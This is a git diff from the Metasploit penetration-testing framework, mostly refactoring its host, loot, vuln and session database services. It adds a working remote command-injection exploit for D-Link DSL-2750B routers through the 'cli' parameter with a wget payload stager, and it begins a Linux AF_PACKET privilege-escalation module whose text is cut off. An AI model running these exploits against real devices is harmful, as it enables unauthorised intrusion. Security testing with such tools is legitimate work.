end
|
||||
|
||||
def report_service(opts)
|
||||
|
|
|
@ -11,6 +11,20 @@ module VulnDataProxy
|
|||
end
|
||||
end
|
||||
|
||||
def find_or_create_vuln(opts)
|
||||
begin
|
||||
vuln = vulns(opts.clone)
|
||||
if vuln.nil? || vuln.first.nil?
|
||||
vuln = report_vuln(opts.clone)
|
||||
else
|
||||
vuln = vuln.first
|
||||
end
|
||||
vuln
|
||||
rescue => e
|
||||
self.log_error(e, "Problem finding or creating vuln")
|
||||
end
|
||||
end
|
||||
|
||||
def report_vuln(opts)
|
||||
begin
|
||||
data_service = self.get_data_service
|
||||
|
|
|
@ -19,10 +19,6 @@ module RemoteHostDataService
|
|||
json_to_mdm_object(self.post_data(HOST_API_PATH, opts), HOST_MDM_CLASS, []).first
|
||||
end
|
||||
|
||||
def find_or_create_host(opts)
|
||||
json_to_mdm_object(self.post_data(HOST_API_PATH, opts), HOST_MDM_CLASS, []).first
|
||||
end
|
||||
|
||||
def report_hosts(hosts)
|
||||
self.post_data(HOST_API_PATH, hosts)
|
||||
end
|
||||
|
|
|
@ -23,10 +23,6 @@ module RemoteLootDataService
|
|||
self.post_data_async(LOOT_API_PATH, opts)
|
||||
end
|
||||
|
||||
def find_or_create_loot(opts)
|
||||
json_to_mdm_object(self.post_data(LOOT_API_PATH, opts), LOOT_MDM_CLASS, [])
|
||||
end
|
||||
|
||||
def report_loots(loot)
|
||||
self.post_data(LOOT_API_PATH, loot)
|
||||
end
|
||||
|
|
|
@ -20,6 +20,10 @@ module HostDataService
|
|||
raise 'HostDataService#find_or_create_host is not implemented'
|
||||
end
|
||||
|
||||
def update_host(opts)
|
||||
raise 'HostDataService#update_host is not implemented'
|
||||
end
|
||||
|
||||
def delete_host(opts)
|
||||
raise 'HostDataService#delete_host is not implemented'
|
||||
end
|
||||
|
|
|
@ -4,7 +4,15 @@ module LootDataService
|
|||
raise 'LootDataService#report_loot is not implemented'
|
||||
end
|
||||
|
||||
def find_or_create_loot(opts)
|
||||
raise 'LootDataService#find_or_create_loot is not implemented'
|
||||
end
|
||||
|
||||
def loot(opts)
|
||||
raise 'LootDataService#loots is not implemented'
|
||||
end
|
||||
|
||||
def update_loot(opts)
|
||||
raise 'LootDataService#update_loot is not implemented'
|
||||
end
|
||||
end
|
|
@ -4,6 +4,10 @@ module NoteDataService
|
|||
raise 'NoteDataService#notes is not implemented'
|
||||
end
|
||||
|
||||
def find_or_create_note(opts)
|
||||
raise 'NoteDataService#find_or_create_note is not implemented'
|
||||
end
|
||||
|
||||
def report_note(opts)
|
||||
raise 'NoteDataService#report_note is not implemented'
|
||||
end
|
||||
|
@ -15,5 +19,4 @@ module NoteDataService
|
|||
def delete_note(opts)
|
||||
raise 'NoteDataService#delete_note is not implemented'
|
||||
end
|
||||
|
||||
end
|
|
@ -1,7 +1,22 @@
|
|||
module ServiceDataService
|
||||
|
||||
def services(opts)
|
||||
raise 'ServiceDataService#services is not implemented'
|
||||
end
|
||||
|
||||
def find_or_create_service(opts)
|
||||
raise 'ServiceDataService#find_or_create_service is not implemented'
|
||||
end
|
||||
|
||||
def report_service(opts)
|
||||
raise 'ServiceDataService#report_service is not implemented'
|
||||
end
|
||||
|
||||
def update_service(opts)
|
||||
raise 'ServiceDataService#update_service is not implemented'
|
||||
end
|
||||
|
||||
def delete_service(opts)
|
||||
raise 'ServiceDataService#delete_service is not implemented'
|
||||
end
|
||||
end
|
|
@ -1,7 +1,22 @@
|
|||
module VulnDataService
|
||||
|
||||
def report_vuln(opts)
|
||||
raise 'VulnDataServicee#report_vuln is not implemented'
|
||||
def vulns(opts)
|
||||
raise 'VulnDataService#vulns is not implemented'
|
||||
end
|
||||
|
||||
def find_or_create_vuln(opts)
|
||||
raise 'VulnDataService#find_or_create_vuln is not implemented'
|
||||
end
|
||||
|
||||
def report_vuln(opts)
|
||||
raise 'VulnDataService#report_vuln is not implemented'
|
||||
end
|
||||
|
||||
def update_vuln(opts)
|
||||
raise 'VulnDataService#update_vuln is not implemented'
|
||||
end
|
||||
|
||||
def delete_vuln(opts)
|
||||
raise 'VulnDataService#delete_vuln is not implemented'
|
||||
end
|
||||
end
|
|
@ -20,11 +20,15 @@ module WorkspaceDataService
|
|||
raise 'WorkspaceDataService#workspace= is not implemented'
|
||||
end
|
||||
|
||||
def workspaces
|
||||
def workspaces(opts)
|
||||
raise 'WorkspaceDataService#workspaces is not implemented'
|
||||
end
|
||||
|
||||
def workspace_associations_counts()
|
||||
raise 'WorkspaceDataService#workspace_associations_counts is not implemented'
|
||||
def delete_workspaces(opts)
|
||||
raise 'WorkspaceDataService#delete_workspaces is not implemented'
|
||||
end
|
||||
|
||||
def update_workspace(opts)
|
||||
raise 'WorkspaceDataService#update_workspace is not implemented'
|
||||
end
|
||||
end
|
||||
|
|
|
@ -12,8 +12,8 @@ module Msf::DBManager::Event
|
|||
return if not wspace # Temp fix?
|
||||
uname = opts.delete(:username)
|
||||
|
||||
if ! opts[:host].kind_of? ::Mdm::Host and opts[:host]
|
||||
opts[:host] = report_host(:workspace => wspace, :host => opts[:host])
|
||||
if !opts[:host].nil? && !opts[:host].kind_of?(::Mdm::Host)
|
||||
opts[:host] = find_or_create_host(workspace: wspace, host: opts[:host])
|
||||
end
|
||||
|
||||
::Mdm::Event.create(opts.merge(:workspace_id => wspace[:id], :username => uname))
|
||||
|
|
|
@ -58,7 +58,7 @@ module Msf::DBManager::Host
|
|||
ip = opts[:ip]
|
||||
tag_name = opts[:tag_name]
|
||||
|
||||
host = framework.db.get_host(:workspace => wspace, :address => ip)
|
||||
host = get_host(workspace: wspace, address: ip)
|
||||
if host
|
||||
possible_tags = Mdm::Tag.joins(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1)
|
||||
tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first)
|
||||
|
@ -185,74 +185,78 @@ module Msf::DBManager::Host
|
|||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
|
||||
|
||||
ret = { }
|
||||
|
||||
if !addr.kind_of? ::Mdm::Host
|
||||
addr = Msf::Util::Host.normalize_host(addr)
|
||||
|
||||
unless ipv46_validator(addr)
|
||||
raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}"
|
||||
end
|
||||
|
||||
if opts[:comm] and opts[:comm].length > 0
|
||||
host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize
|
||||
else
|
||||
host = wspace.hosts.where(address: addr).first_or_initialize
|
||||
end
|
||||
else
|
||||
host = addr
|
||||
end
|
||||
|
||||
ostate = host.state
|
||||
|
||||
# Truncate the info field at the maximum field length
|
||||
if opts[:info]
|
||||
opts[:info] = opts[:info][0,65535]
|
||||
end
|
||||
|
||||
# Truncate the name field at the maximum field length
|
||||
if opts[:name]
|
||||
opts[:name] = opts[:name][0,255]
|
||||
end
|
||||
|
||||
if opts[:os_name]
|
||||
os_name, os_flavor = split_windows_os_name(opts[:os_name])
|
||||
opts[:os_name] = os_name if os_name.present?
|
||||
if opts[:os_flavor].present?
|
||||
opts[:os_flavor] = os_flavor + opts[:os_flavor]
|
||||
else
|
||||
opts[:os_flavor] = os_flavor
|
||||
end
|
||||
end
|
||||
|
||||
opts.each do |k,v|
|
||||
if (host.attribute_names.include?(k.to_s))
|
||||
unless host.attribute_locked?(k.to_s)
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||
end
|
||||
elsif !v.blank?
|
||||
dlog("Unknown attribute for ::Mdm::Host: #{k}")
|
||||
end
|
||||
end
|
||||
host.info = host.info[0,::Mdm::Host.columns_hash["info"].limit] if host.info
|
||||
|
||||
# Set default fields if needed
|
||||
host.state = Msf::HostState::Alive if !host.state
|
||||
host.comm = '' if !host.comm
|
||||
host.workspace = wspace if !host.workspace
|
||||
|
||||
begin
|
||||
framework.events.on_db_host(host) if host.new_record?
|
||||
rescue ::Exception => e
|
||||
wlog("Exception in on_db_host event handler: #{e.class}: #{e}")
|
||||
wlog("Call Stack\n#{e.backtrace.join("\n")}")
|
||||
end
|
||||
retry_attempts ||= 0
|
||||
if !addr.kind_of? ::Mdm::Host
|
||||
addr = Msf::Util::Host.normalize_host(addr)
|
||||
|
||||
host_state_changed(host, ostate) if host.state != ostate
|
||||
unless ipv46_validator(addr)
|
||||
raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}"
|
||||
end
|
||||
|
||||
if host.changed?
|
||||
msf_import_timestamps(opts,host)
|
||||
host.save!
|
||||
conditions = {address: addr}
|
||||
conditions[:comm] = opts[:comm] if !opts[:comm].nil? && opts[:comm].length > 0
|
||||
host = wspace.hosts.where(conditions).first_or_initialize
|
||||
else
|
||||
host = addr
|
||||
end
|
||||
|
||||
ostate = host.state
|
||||
|
||||
# Truncate the info field at the maximum field length
|
||||
if opts[:info]
|
||||
opts[:info] = opts[:info][0,65535]
|
||||
end
|
||||
|
||||
# Truncate the name field at the maximum field length
|
||||
if opts[:name]
|
||||
opts[:name] = opts[:name][0,255]
|
||||
end
|
||||
|
||||
if opts[:os_name]
|
||||
os_name, os_flavor = split_windows_os_name(opts[:os_name])
|
||||
opts[:os_name] = os_name if os_name.present?
|
||||
if opts[:os_flavor].present?
|
||||
opts[:os_flavor] = os_flavor + opts[:os_flavor]
|
||||
else
|
||||
opts[:os_flavor] = os_flavor
|
||||
end
|
||||
end
|
||||
|
||||
opts.each do |k,v|
|
||||
if host.attribute_names.include?(k.to_s)
|
||||
unless host.attribute_locked?(k.to_s)
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||
end
|
||||
elsif !v.blank?
|
||||
dlog("Unknown attribute for ::Mdm::Host: #{k}")
|
||||
end
|
||||
end
|
||||
host.info = host.info[0,::Mdm::Host.columns_hash["info"].limit] if host.info
|
||||
|
||||
# Set default fields if needed
|
||||
host.state = Msf::HostState::Alive unless host.state
|
||||
host.comm = '' unless host.comm
|
||||
host.workspace = wspace unless host.workspace
|
||||
|
||||
begin
|
||||
framework.events.on_db_host(host) if host.new_record?
|
||||
rescue => e
|
||||
wlog("Exception in on_db_host event handler: #{e.class}: #{e}")
|
||||
wlog("Call Stack\n#{e.backtrace.join("\n")}")
|
||||
end
|
||||
|
||||
host_state_changed(host, ostate) if host.state != ostate
|
||||
|
||||
if host.changed?
|
||||
msf_import_timestamps(opts, host)
|
||||
host.save!
|
||||
end
|
||||
rescue ActiveRecord::RecordNotUnique
|
||||
# two concurrent report requests for a new host could result in a RecordNotUnique exception
|
||||
# simply retry the report once more as an optimistic approach
|
||||
retry if (retry_attempts+=1) <= 1
|
||||
raise
|
||||
end
|
||||
|
||||
if opts[:task]
|
||||
|
|
|
@ -4,8 +4,8 @@ module SessionServlet
|
|||
end
|
||||
|
||||
def self.registered(app)
|
||||
app.post SessionServlet.api_path, &report_session
|
||||
app.get SessionServlet.api_path, &get_session
|
||||
app.post SessionServlet.api_path, &report_session
|
||||
end
|
||||
|
||||
#######
|
||||
|
@ -16,7 +16,7 @@ module SessionServlet
|
|||
lambda {
|
||||
begin
|
||||
#opts = parse_json_request(request, false)
|
||||
data = get_db().get_all_sessions()
|
||||
data = get_db.get_all_sessions()
|
||||
set_json_response(data)
|
||||
rescue => e
|
||||
set_error_on_response(e)
|
||||
|
@ -26,14 +26,18 @@ module SessionServlet
|
|||
|
||||
def self.report_session
|
||||
lambda {
|
||||
job = lambda { |opts|
|
||||
if (opts[:session_data])
|
||||
get_db().report_session_dto(opts)
|
||||
else
|
||||
get_db().report_session_host_dto(opts)
|
||||
end
|
||||
}
|
||||
exec_report_job(request, &job)
|
||||
begin
|
||||
job = lambda { |opts|
|
||||
if opts[:session_data]
|
||||
get_db.report_session_dto(opts)
|
||||
else
|
||||
get_db.report_session_host_dto(opts)
|
||||
end
|
||||
}
|
||||
exec_report_job(request, &job)
|
||||
rescue => e
|
||||
set_error_on_response(e)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
|
@ -10,6 +10,10 @@ module Msf::DBManager::Loot
|
|||
# This methods returns a list of all loot in the database
|
||||
#
|
||||
def loots(opts)
|
||||
data = opts.delete(:data)
|
||||
# Remove path from search conditions as this won't accommodate remote data
|
||||
# service usage where the client and server storage locations differ.
|
||||
opts.delete(:path)
|
||||
search_term = opts.delete(:search_term)
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
|
@ -18,10 +22,17 @@ module Msf::DBManager::Loot
|
|||
|
||||
if search_term && !search_term.empty?
|
||||
column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::Loot, search_term)
|
||||
Mdm::Loot.includes(:host).where(opts).where(column_search_conditions)
|
||||
results = Mdm::Loot.includes(:host).where(opts).where(column_search_conditions)
|
||||
else
|
||||
Mdm::Loot.includes(:host).where(opts)
|
||||
results = Mdm::Loot.includes(:host).where(opts)
|
||||
end
|
||||
|
||||
# Compare the deserialized data from the DB to the search data since the column is serialized.
|
||||
unless data.nil?
|
||||
results = results.select { |loot| loot.data == data }
|
||||
end
|
||||
|
||||
results
|
||||
}
|
||||
end
|
||||
alias_method :loot, :loots
|
||||
|
|
|
@ -25,8 +25,15 @@ module Msf::DBManager::Note
|
|||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
|
||||
|
||||
data = opts.delete(:data)
|
||||
search_term = opts.delete(:search_term)
|
||||
results = wspace.notes.includes(:host).where(opts)
|
||||
|
||||
# Compare the deserialized data from the DB to the search data since the column is serialized.
|
||||
unless data.nil?
|
||||
results = results.select { |note| note.data == data }
|
||||
end
|
||||
|
||||
if search_term && !search_term.empty?
|
||||
re_search_term = /#{search_term}/mi
|
||||
results = results.select { |note|
|
||||
|
|
|
@ -146,15 +146,16 @@ module Msf::DBManager::Service
|
|||
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
|
||||
|
||||
search_term = opts.delete(:search_term)
|
||||
opts["hosts.address"] = opts.delete(:addresses)
|
||||
opts.compact!
|
||||
|
||||
order_args = [:port]
|
||||
order_args.unshift(Mdm::Host.arel_table[:address]) if opts.key?(:hosts)
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
if search_term && !search_term.empty?
|
||||
column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::Service, search_term)
|
||||
wspace.services.includes(:host).where(opts).where(column_search_conditions).order("hosts.address, port")
|
||||
wspace.services.includes(:host).where(opts).where(column_search_conditions).order(*order_args)
|
||||
else
|
||||
wspace.services.includes(:host).where(opts).order("hosts.address, port")
|
||||
wspace.services.includes(:host).where(opts).order(*order_args)
|
||||
end
|
||||
}
|
||||
end
|
||||
|
|
|
@ -120,11 +120,12 @@ module Msf::DBManager::Session
|
|||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
host_data = session_dto[:host_data]
|
||||
workspace = workspaces({ name: host_data[:workspace] })
|
||||
h_opts = {}
|
||||
h_opts[:host] = host_data[:host]
|
||||
h_opts[:arch] = host_data[:arch]
|
||||
h_opts[:workspace] = host_data[:workspace]
|
||||
workspace = workspaces({ name: host_data[:workspace] }).first
|
||||
h_opts = {
|
||||
host: host_data[:host],
|
||||
workspace: workspace
|
||||
}
|
||||
h_opts[:arch] = host_data[:arch] if !host_data[:arch].nil? && !host_data[:arch].empty?
|
||||
host = find_or_create_host(h_opts)
|
||||
|
||||
session_data = session_dto[:session_data]
|
||||
|
@ -218,7 +219,7 @@ module Msf::DBManager::Session
|
|||
|
||||
vuln_info[:service] = service if service
|
||||
|
||||
vuln = framework.db.report_vuln(vuln_info)
|
||||
vuln = report_vuln(vuln_info)
|
||||
|
||||
attempt_info = {
|
||||
host: host,
|
||||
|
@ -233,7 +234,7 @@ module Msf::DBManager::Session
|
|||
run_id: session.exploit.user_data.try(:[], :run_id)
|
||||
}
|
||||
|
||||
framework.db.report_exploit_success(attempt_info)
|
||||
report_exploit_success(attempt_info)
|
||||
|
||||
vuln
|
||||
}
|
||||
|
@ -245,10 +246,12 @@ module Msf::DBManager::Session
|
|||
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless session.kind_of? Msf::Session
|
||||
|
||||
wspace = opts[:workspace] || find_workspace(session.workspace)
|
||||
h_opts = { }
|
||||
h_opts[:host] = Msf::Util::Host.normalize_host(session)
|
||||
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
|
||||
h_opts[:workspace] = wspace
|
||||
h_opts = {
|
||||
host: Msf::Util::Host.normalize_host(session),
|
||||
workspace: wspace
|
||||
}
|
||||
h_opts[:arch] = session.arch if session.respond_to?(:arch) && !session.arch.nil? && !session.arch.empty?
|
||||
|
||||
host = find_or_create_host(h_opts)
|
||||
sess_data = {
|
||||
datastore: session.exploit_datastore.to_h,
|
||||
|
@ -332,7 +335,7 @@ module Msf::DBManager::Session
|
|||
|
||||
vuln_info[:service] = service if service
|
||||
|
||||
vuln = framework.db.report_vuln(vuln_info)
|
||||
vuln = report_vuln(vuln_info)
|
||||
|
||||
attempt_info = {
|
||||
host: host,
|
||||
|
@ -347,7 +350,7 @@ module Msf::DBManager::Session
|
|||
run_id: vuln_info_dto[:run_id]
|
||||
}
|
||||
|
||||
framework.db.report_exploit_success(attempt_info)
|
||||
report_exploit_success(attempt_info)
|
||||
|
||||
vuln
|
||||
}
|
||||
|
|
|
@ -131,7 +131,7 @@ class Cache
|
|||
# Remove all instances of modules pointing to the same path. This prevents stale data hanging
|
||||
# around when modules are incorrectly typed (eg: Auxilary that should be Exploit)
|
||||
@module_metadata_cache.delete_if {|_, module_metadata|
|
||||
module_metadata.path.eql? metadata_obj.path
|
||||
module_metadata.path.eql? metadata_obj.path && module_metadata.type != module_metadata.type
|
||||
}
|
||||
|
||||
@module_metadata_cache[get_cache_key(module_instance)] = metadata_obj
|
||||
|
|
|
@ -80,31 +80,10 @@ module Msf::Post::Common
|
|||
#
|
||||
# Returns a (possibly multi-line) String.
|
||||
#
|
||||
def cmd_exec(cmd, args=nil, time_out=15)
|
||||
def cmd_exec(cmd, args="", time_out=15)
|
||||
case session.type
|
||||
when /meterpreter/
|
||||
#
|
||||
# The meterpreter API requires arguments to come separately from the
|
||||
# executable path. This has no effect on Windows where the two are just
|
||||
# blithely concatenated and passed to CreateProcess or its brethren. On
|
||||
# POSIX, this allows the server to execve just the executable when a
|
||||
# shell is not needed. Determining when a shell is not needed is not
|
||||
# always easy, so it assumes anything with arguments needs to go through
|
||||
# /bin/sh.
|
||||
#
|
||||
# This problem was originally solved by using Shellwords.shellwords but
|
||||
# unfortunately, it is unsuitable. When a backslash occurs inside double
|
||||
# quotes (as is often the case with Windows commands) it inexplicably
|
||||
# removes them. So. Shellwords is out.
|
||||
#
|
||||
# By setting +args+ to an empty string, we can get POSIX to send it
|
||||
# through /bin/sh, solving all the pesky parsing troubles, without
|
||||
# affecting Windows.
|
||||
#
|
||||
start = Time.now.to_i
|
||||
if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/
|
||||
args = ""
|
||||
end
|
||||
|
||||
session.response_timeout = time_out
|
||||
process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
|
||||
|
@ -120,7 +99,6 @@ module Msf::Post::Common
|
|||
end
|
||||
end
|
||||
end
|
||||
o.chomp! if o
|
||||
|
||||
begin
|
||||
process.channel.close
|
||||
|
@ -130,22 +108,12 @@ module Msf::Post::Common
|
|||
|
||||
process.close
|
||||
when /powershell/
|
||||
if args.nil? || args.empty?
|
||||
o = session.shell_command("#{cmd}", time_out)
|
||||
else
|
||||
o = session.shell_command("#{cmd} #{args}", time_out)
|
||||
end
|
||||
o.chomp! if o
|
||||
o = session.shell_command("#{cmd} #{args}", time_out)
|
||||
when /shell/
|
||||
if args.nil? || args.empty?
|
||||
o = session.shell_command_token("#{cmd}", time_out)
|
||||
else
|
||||
o = session.shell_command_token("#{cmd} #{args}", time_out)
|
||||
end
|
||||
o.chomp! if o
|
||||
o = session.shell_command_token("#{cmd} #{args}", time_out)
|
||||
end
|
||||
return "" if o.nil?
|
||||
return o
|
||||
|
||||
o ? o.chomp : ""
|
||||
end
|
||||
|
||||
def cmd_exec_get_pid(cmd, args=nil, time_out=15)
|
||||
|
|
|
@ -106,12 +106,7 @@ module Msf::Post::Windows::Priv
|
|||
#
|
||||
def is_system?
|
||||
if session_has_ext
|
||||
local_sys = resolve_sid(SYSTEM_SID)
|
||||
if session.sys.config.getuid == "#{local_sys[:domain]}\\#{local_sys[:name]}"
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
return session.sys.config.is_system?
|
||||
else
|
||||
results = registry_enumkeys('HKLM\SAM\SAM')
|
||||
if results
|
||||
|
|
|
@ -251,12 +251,12 @@ class Db
|
|||
tbl << [
|
||||
current_workspace.name == ws.name ? '*' : '',
|
||||
ws.name,
|
||||
framework.db.hosts(ws.name).count,
|
||||
framework.db.services(ws.name).count,
|
||||
framework.db.vulns({workspace: ws.name}).count,
|
||||
framework.db.creds({workspace: ws.name}).count,
|
||||
framework.db.loots(ws.name).count,
|
||||
framework.db.notes({workspace: ws.name}).count
|
||||
framework.db.hosts(workspace: ws.name).count,
|
||||
framework.db.services(workspace: ws.name).count,
|
||||
framework.db.vulns(workspace: ws.name).count,
|
||||
framework.db.creds(workspace: ws.name).count,
|
||||
framework.db.loots(workspace: ws.name).count,
|
||||
framework.db.notes(workspace: ws.name).count
|
||||
]
|
||||
end
|
||||
|
||||
|
@ -310,7 +310,7 @@ class Db
|
|||
each_host_range_chunk(host_ranges) do |host_search|
|
||||
break if !host_search.nil? && host_search.empty?
|
||||
|
||||
framework.db.hosts(framework.db.workspace, false, host_search).each do |host|
|
||||
framework.db.hosts(address: host_search).each do |host|
|
||||
framework.db.update_host(host_data.merge(id: host.id))
|
||||
framework.db.report_note(host: host.address, type: "host.#{attribute}", data: host_data[attribute])
|
||||
end
|
||||
|
@ -561,7 +561,7 @@ class Db
|
|||
each_host_range_chunk(host_ranges) do |host_search|
|
||||
break if !host_search.nil? && host_search.empty?
|
||||
|
||||
framework.db.hosts(framework.db.workspace, onlyup, host_search, search_term = search_term).each do |host|
|
||||
framework.db.hosts(address: host_search, non_dead: onlyup, search_term: search_term).each do |host|
|
||||
matched_host_ids << host.id
|
||||
columns = col_names.map do |n|
|
||||
# Deal with the special cases
|
||||
|
@ -776,9 +776,10 @@ class Db
|
|||
|
||||
each_host_range_chunk(host_ranges) do |host_search|
|
||||
break if !host_search.nil? && host_search.empty?
|
||||
opts[:addresses] = host_search
|
||||
opts[:workspace] = framework.db.workspace
|
||||
opts[:hosts] = {address: host_search} if !host_search.nil?
|
||||
opts[:port] = ports if ports
|
||||
framework.db.services(framework.db.workspace, opts).each do |service|
|
||||
framework.db.services(opts).each do |service|
|
||||
|
||||
host = service.host
|
||||
matched_service_ids << service.id
|
||||
|
@ -1311,12 +1312,12 @@ class Db
|
|||
matched_loot_ids = []
|
||||
loots = []
|
||||
if host_ranges.compact.empty?
|
||||
loots = loots + framework.db.loots(framework.db.workspace, {:search_term => search_term})
|
||||
loots = loots + framework.db.loots(workspace: framework.db.workspace, search_term: search_term)
|
||||
else
|
||||
each_host_range_chunk(host_ranges) do |host_search|
|
||||
break if !host_search.nil? && host_search.empty?
|
||||
|
||||
loots = loots + framework.db.loots(framework.db.workspace, { :hosts => { :address => host_search }, :search_term => search_term })
|
||||
loots = loots + framework.db.loots(workspace: framework.db.workspace, hosts: { address: host_search }, search_term: search_term)
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.34'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.37'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.8'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
|
@ -321,7 +321,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def existing_loot(ltype, key_id)
|
||||
framework.db.loots(myworkspace).where(ltype: ltype).select {|l| l.info == key_id}.first
|
||||
framework.db.loots(workspace: myworkspace).where(ltype: ltype).select {|l| l.info == key_id}.first
|
||||
end
|
||||
|
||||
def store_public_keyfile(ip,user,key_id,key_data)
|
||||
|
|
|
@ -0,0 +1,114 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link DSL-2750B OS Command Injection',
|
||||
'Description' => %q(
|
||||
This module exploits a remote command injection vulnerability in D-Link DSL-2750B devices.
|
||||
Vulnerability can be exploited through "cli" parameter that is directly used to invoke
|
||||
"ayecli" binary. Vulnerable firmwares are from 1.01 up to 1.03.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'p@ql', # vulnerability discovery
|
||||
'Marcin Bury <marcin[at]threat9.com>' # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['PACKETSTORM', 135706],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/53'],
|
||||
['URL', 'http://www.quantumleap.it/d-link-router-dsl-2750b-firmware-1-01-1-03-rce-no-auth/']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Linux mipsbe Payload',
|
||||
{
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
],
|
||||
[
|
||||
'Linux mipsel Payload',
|
||||
{
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 5 2016',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
deregister_options('CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/ayefeaturesconvert.js'
|
||||
)
|
||||
|
||||
unless res
|
||||
vprint_error('Connection failed')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.code.to_i == 200 && res.body.include?('DSL-2750')
|
||||
vprint_status('Remote host is not a DSL-2750')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
if res.body =~ /var AYECOM_FWVER="(\d.\d+)";/
|
||||
version = Regexp.last_match[1]
|
||||
vprint_status("Remote host is a DSL-2750B with firmware version #{version}")
|
||||
if version >= "1.01" && version <= "1.03"
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error('Connection failed')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts)
|
||||
payload = Rex::Text.uri_encode("multilingual show';#{cmd}'")
|
||||
send_request_cgi(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => '/login.cgi',
|
||||
'vars_get' => {
|
||||
'cli' => "#{payload}$"
|
||||
},
|
||||
'encode_params' => false
|
||||
},
|
||||
5
|
||||
)
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} Failed to connect to the web server")
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} Checking target version...")
|
||||
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
|
||||
end
|
||||
|
||||
execute_cmdstager(
|
||||
flavor: :wget,
|
||||
linemax: 200
|
||||
)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,200 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'AF_PACKET chocobo_root Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a race condition and use-after-free in the
|
||||
packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in
|
||||
the Linux kernel to execute code as root (CVE-2016-8655).
|
||||
|
||||
The bug was initially introduced in 2011 and patched in 2016 in version
|
||||
4.4.0-53.74, potentially affecting a large number of kernels; however
|
||||
this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
|
||||
4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as
|
||||
Linux Mint.
|
||||
|
||||
The target system must have unprivileged user namespaces enabled and
|
||||
two or more CPU cores.
|
||||
|
||||
Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
|
||||
may crash the kernel.
|
||||
|
||||
This module has been tested successfully on Linux Mint 17.3 (x86_64);
|
||||
Linux Mint 18 (x86_64); and Ubuntu 16.04.2 (x86_64) with kernel
|
||||
